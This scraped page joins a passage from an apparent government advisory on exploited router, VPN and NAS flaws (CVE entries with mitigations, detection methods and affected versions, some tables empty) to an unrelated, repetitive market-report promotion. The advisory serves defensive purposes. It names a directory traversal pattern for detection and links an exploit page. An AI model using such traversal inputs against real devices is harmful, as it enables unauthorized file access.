https://fortiguard.com/advisory/FG-IR-18-389
https://www.fortiguard.com/psirt/FG-IR-20-231

 

Table 9: Information on Mikrotik CVE-2018-14847

                                            Mikrotik CVE-2018-14847            CVSS 3.0: 9.1 (Critical)

Vulnerability Description 

MikroTik RouterOS through 6.42 allows unauthenticated remote attackers to read arbitrary files and remote authenticated attackers to write arbitrary files due to a directory traversal vulnerability in the WinBox interface.

Recommended Mitigations 

  • Upgrade WinBox and RouterOS and change passwords
  • Firewall the WinBox port from the public interface and from untrusted networks
Detection Methods 

  • Use export command to see all your configuration and inspect for any abnormalities, such as unknown SOCKS proxy settings and scripts.

Vulnerable Technologies and Versions 

This vulnerability affected the following MikroTik products:

  • All bugfix releases from 6.30.1 to 6.40.7
  • All current releases from 6.29 to 6.42
  • All RC releases from 6.29rc1 to 6.43rc3

References

https://blog.mikrotik.com/security/winbox-vulnerability.html

 

Table 10: Information on Netgear CVE-2017-6862

 

Table 11: Information on Pulse CVE-2019-11510

                                              Pulse CVE-2019-11510                   CVSS 3.0: 10 (Critical)

Vulnerability Description 

In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability. 

Recommended Mitigations 

  • Upgrade to the latest Pulse Secure VPN.
  • Stay alert to any scheduled tasks or unknown files/executables.
  • Create detection/protection mechanisms that respond on directory traversal (/../../../) attempts to read local system files.

Detection Methods 

  • CISA developed a tool to help determine if IOCs exist in the log files of a Pulse Secure VPN Appliance for CVE-2019-11510: cisa.gov/check-your-pulse.
  • Nmap developed a script that can be used with the port scanning engine: http-vuln-cve2019- 11510.nse #1708.

Vulnerable Technologies and Versions 

This vulnerability affects the following Pulse Connect Secure products:

  • 9.0R1 to 9.0R3.3
  • 8.3R1 to 8.3R7
  • 8.2R1 to 8.2R12

References 

https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/

 

Table 12: Information on Pulse CVE-2021-22893

 

Table 13: Information on QNAP CVE-2019-7192

                                                  QNAP CVE-2019-7192               CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

This improper access control vulnerability allows remote attackers to gain unauthorized access to the system. To fix these vulnerabilities, QNAP recommend updating Photo Station to their latest versions.

Recommended Mitigations 

Update Photo Station to versions: 

  • QTS 4.4.1 Photo Station 6.0.3 and later
  • QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later
  • QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later
  • QTS 4.2.6 Photo Station 5.2.11 and later 
Detection Methods 

Vulnerable Technologies and Versions 

This vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier.

References 

https://www.qnap.com/zh-tw/security-advisory/nas-201911-25
http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

 

Table 14: Information on QNAP CVE- 2019-7193

 

Table 15: Information on QNAP CVE-2019-7194

                                               QNAP CVE-2019-7194             CVSS 3.0: 9.8 (Critical)

Vulnerability Description

This external control of file name or path vulnerability allows remote attackers to access or modify system files. To fix the vulnerability, QNAP recommend updating Photo Station to their latest versions.

Recommended Mitigations 

Update Photo Station to versions: 

  • QTS 4.4.1 Photo Station 6.0.3 and later
  • QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later
  • QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later
  • QTS 4.2.6 Photo Station 5.2.11 and later
Detection Methods 

Vulnerable Technologies and Versions 

This vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier.

References 

https://www.qnap.com/zh-tw/security-advisory/nas-201911-25 
http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

 

Table 16: Information on QNAP CVE-2019-7195

                                             QNAP CVE-2019-7195                   CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

This external control of file name or path vulnerability allows remote attackers to access or modify system files. To fix the vulnerability, QNAP recommend updating Photo Station to their latest versions.

Recommended Mitigations 

Update Photo Station to versions: 

  • QTS 4.4.1 Photo Station 6.0.3 and later
  • QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later
  • QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later
  • QTS 4.2.6 Photo Station 5.2.11 and later
Detection Methods 

Vulnerable Technologies and Versions 

This vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier.

References 

https://www.qnap.com/zh-tw/security-advisory/nas-201911-25
http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

 

Table 17: Information on Zyxel CVE-2020-29583

 

Source…

Mobile Application Security Testing Market – A Comprehensive Study by Key Players:Accenture (Republic of Ireland), IBM (US), Micro Focus (UK), Veracode (US), Synopsys (US), Pradeo (France), Rapid7 (US), Tieto (Finland), Trustwave (US), WhiteHat Security (US)


The report investigates the current status of the Mobile Application Security Testing Market and analyses the future trends of the Mobile Application Security Testing market. The report explores the market opportunities available in the Mobile Application Security Testing market. The report assesses the Mobile Application Security Testing market sourced from the currently available data. The report provides in-depth information of the Mobile Application Security Testing market that helps market players understand and analyse the Mobile Application Security Testing industry in terms of key products and services, value-added products, emerging markets, and industries. The report provides basic analysis of the Mobile Application Security Testing market. The report determines the current production and future demand for the products and services, and assists the market players in planning for investment. The report analyses the major exporting and importing producers, overview of the industry, preliminary and secondary assessment of its future potential. The report summarizes the knowledge gaps and recommendations.

Key Players in the Mobile Application Security Testing market:

Accenture (Republic of Ireland), IBM (US), Micro Focus (UK), Veracode (US), Synopsys (US), Pradeo (France), Rapid7 (US), Tieto (Finland), Trustwave (US), WhiteHat Security (US)

Request a sample report : https://www.mraccuracyreports.com/report-sample/451764

The report studies the Mobile Application Security Testing market using cross-sectional multiple regression analysis. The report provides estimates for future market demand. The report also uses secondary analysis to examines the Mobile Application Security Testing market. The report provides detailed analysis Mobile Application Security Testing market value chain. The report analyses the factors affecting the Mobile Application Security Testing market. The report lists the data and trends that studies various components of the Mobile Application Security Testing market. The report reviews the current Mobile Application Security Testing market production and price patterns. The report reviews the production, imports, and profitability…

Source…